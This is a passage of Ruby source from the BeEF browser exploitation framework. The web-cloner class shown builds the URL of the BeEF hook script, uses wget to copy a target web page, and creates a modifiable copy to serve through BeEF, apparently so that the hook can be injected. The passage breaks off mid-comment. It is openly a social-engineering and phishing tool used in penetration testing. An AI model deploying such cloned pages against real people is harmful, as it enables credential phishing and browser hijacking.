# # Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module SocialEngineering class WebCloner require 'socket' include Singleton def initialize @http_server = BeEF::Core::Server.instance @config = BeEF::Core::Configuration.instance @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" beef_proto = @config.get("beef.http.https.enable") == true ? "https" : "http" beef_host = @config.get("beef.http.public") || @config.get("beef.http.host") beef_port = @config.get("beef.http.public_port") || @config.get("beef.http.port") @beef_hook = "#{beef_proto}://#{beef_host}:#{beef_port}#{@config.get('beef.http.hook_file')}" end def clone_page(url, mount, use_existing, dns_spoof) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host output_mod = "#{output}_mod" user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') success = false # Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser, # there is no need to implement the complex logic to handle all different cases. # We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification. # So ideally, if the the page needs custom modifications, the web_cloner usage will be the following: # 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file # - the user modify the example.com_mod file manually # 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file # if use_existing.nil? || use_existing == false begin #,"--background" cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3'] if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') cmd << "--no-check-certificate" end print_debug "Running command: #{cmd.join(' ')}" IO.popen(cmd, 'r+') do |wget_io| end success = true rescue Errno::ENOENT => e print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." rescue => e print_error "Errors executing wget: #{e}" end if success File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open("#{@cloned_pages_dir + output}", 'r').each do |line| # Modify the